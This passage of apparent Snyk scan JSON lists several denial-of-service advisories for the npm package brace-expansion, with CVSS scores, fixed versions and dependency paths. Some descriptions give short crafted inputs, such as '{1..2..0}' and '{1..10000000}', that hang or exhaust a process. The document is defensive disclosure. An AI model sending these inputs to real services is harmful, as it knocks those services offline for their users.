\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 